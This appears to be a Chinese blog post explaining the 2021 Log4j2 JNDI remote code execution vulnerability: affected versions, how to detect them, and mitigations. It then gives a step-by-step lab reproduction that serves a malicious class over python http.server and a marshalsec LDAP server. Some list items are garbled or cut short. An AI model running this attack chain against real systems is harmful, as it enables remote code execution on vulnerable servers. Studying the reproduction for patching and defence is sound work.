2021年12月10日一觉醒来,发现程序员社交网站上全是lo4j2相关的内容。
实际上2021年11月24日,阿里云安全团队已经向Apache官方团队报告了Apache Log4j2远程代码执行漏洞。之后陆续国内多家机构监测到Apache Log4j2存在任意代码执行的漏洞。2021年12月10日阿里云再次报告官方2.15-rc1版本存在漏洞绕过,建议升级2.15.0版本。网上出现了Apache Log4j2任意远程代码执行漏洞的攻击代码,仿佛一夜间大家才紧张起来,也有网友感叹“第一次感受到互联网的脆弱”。
java有很多优秀的日志框架,并且设计是解耦的。接口层比如:SL4j、Apache commons logging(JCL);实现层比如:log4j、logbak、java util logging(JUL)等。
log4j只是Apache出品的java日志框架的一种实现,所以不是说用了Tomcat就一定用了log4j框架输出日志,主要看应用是集成了哪种日志框架。
使用sl4j + log4j2需要在pom.xml中引入依赖:
<dependency>
<groupId>org.slf4j</groupId>
<artifactId>slf4j-log4j12</artifactId>
<version>1.7.5</version>
</dependency>
本项目demo中没有使用
sl4j,直接引入log4j-api:2.14.1.jar和log4j-core:2.14.1.jar。
简单的配置文件log4j.properties的demo如下:
#This is a log4j property
log4j.rootLogger=INFO, STDOUT
log4j.logger.deng=INFO
log4j.appender.STDOUT=org.apache.log4j.ConsoleAppender
log4j.appender.STDOUT.layout=org.apache.log4j.PatternLayout
log4j.appender.STDOUT.layout.ConversionPattern=%5p [%t] (%F\:%L) - %m%n
日志的级别分为:All < Trace < Debug < Info < Warn < Error < Fatal。
All:最低层级,用于打开所有日志;Trace:表示程序推进;Debug;表示调试信息;Info:表示程序的运行过程;Warn:表示警告日志;Error:表示错误日志;Fatal:表示严重错误,将会导致应用程序退出。
更多java日志框架内容参考:https://fengmengzhao.github.io/2018/06/12/detailed-explanation-of-java-logging-framework.html
log4j存在漏洞的版本是2.x <= 2.15-rc1。查看对应的依赖是否存在有漏洞版本即可。具体方法:
CLASSPAHT,查看是否有相应的log4j相关jar(log4j-api:***.jar、log4j-core:***.jar)包依赖。CLASSPAHT下是否有log4j.properties配置文件。查看
CLASSPAHT的办法可以用ps -ef |grep $PID,查到对应的进程信息里面-cp参数值为classpath。对于springboot项目可以使用命令mkdir xxx && cd xxx && jar xvf ../xx.jar解压后找到lib目录查看。
如果上面能够查到对应版本的jar包,很可能使用log4j作为日志框架,存在漏洞风险。
2.15.0并升级,下载地址:https://logging.apache.org/log4j/2.x/download.html。6u211、7u201、8u191、11.0.1以上,可以在一定程度上限制JNDI等漏洞利用方式。log4j2.formatMsgNoLookups或者环境变量LOG4J_FORMAT_MSG_NO_LOOKUPS为true。JndiLookup类:zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class针对上面临时方案中的升级JDK版本,本代码示例在Windows
JDK 1.8.0_212-b10也能够成功复现攻击,所以最好按照正式方案解决问题。
log4j作为一个优秀的日志框架,提供了以某种约定的格式来获取到运行环境中配置信息的能力,称为looksup。例如提供了以下配置:
<properties>
<property name="logPath">${sys.catalina.home}/xmlogs</property>
</properties>
后续在代码中就可以通过${logPath}来获取该属性的值。运行时log4j提供的looksup实现会解析${开头的变量,并且支持多种协议。例如通过LDAP查找变量;通过docker查找变量等,详细参考:https://www.docs4dev.com/docs/zh/log4j2/2.x/all/manual-lookups.html。
这次log4j的漏洞就是利用java的jndiAPI访问LDAP服务来远程加载类,攻击者可以写任意恶意远程代码在类加载的时候执行达到攻击目的。
代码层次分析参考:https://mp.weixin.qq.com/s/K74c1pTG6m5rKFuKaIYmPg
根据漏洞分析,我们想要模拟“攻”,需要准备4个东西:
1.14.1,JDK环境1.8.0_121。class文件。本示例:恶意class文件在Windows环境运行弹出计算器,在Unix环境运行列出运行环境监听的所有端口并生成图片test.jpg到程序运行目录。LDAP服务。本示例:使用marshalsec-0.0.3-SNAPSHOT-all.jar启动一个简单的LDAP服务。http服务。本示例:使用Python启动http服务,从git上克隆项目到本地,github项目地址:https://github.com/FengMengZhao/apache-log4j2-bug.git,gitee备份项目地址:https://gitee.com/fengmengzhao/apache-log4j2-bug.git。
1). 导入maven项目到IDE中,或者使用mvn命令行下载maven依赖。
2). 将Log4jRCE.java类本地编译生成的class文件,该class文件即为恶意远程class文件,将该class提供为http可访问服务。可以将java和class文件copy到一个目录中,在该目录中启动简单的python http server:
java源代码文件实际上并不需要,这里复制java源文件是为了验证http远程可访问。
#进入class文件所在的目录执行
/usr/bin/python3 -m http.server
服务端启动如图,默认端口是8000:

http访问java文件验证:

3). 在项目tool目录下找到文件marshalsec-0.0.3-SNAPSHOT-all.jar,该jar包用于创建简单的LDAP服务。启动LDAP服务,默认监听1389端口号,需要指定2)中启动的远程http服务:
#可以在最后加上一个参数指定LDAP服务端口,模式是1389
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://ip:port:8000/#Log4jRCE
启动LDAP服务后,默认监听1389端口,如图:

4). 执行log4j的main方法,即可验证攻击完成:
在Windows平台上运行,弹出计算器:

在Unix平台上运行,获取后台监听端口及进程,并将内容在运行目录生成test.jpg:

如果不能够成功复现攻击,报错
11:54:23.960 [main] ERROR log4j - Reference Class Name: foo,可能是JDK版本过高。降低版本到1.8.0_191之下再尝试。
参考1.3中的正式方案,将log4j版本升级到2.15.0,执行log4j的main方法不会再jndi远程加载class。
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.15.0</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.15.0</version>
</dependency>
如果是现场不方便重新打包,可将包下载,替换目标容器
lib下对应的jar包。
本demo示例基于对技术的好奇和探索而创建,切忌用于线上生产项目的攻击!!!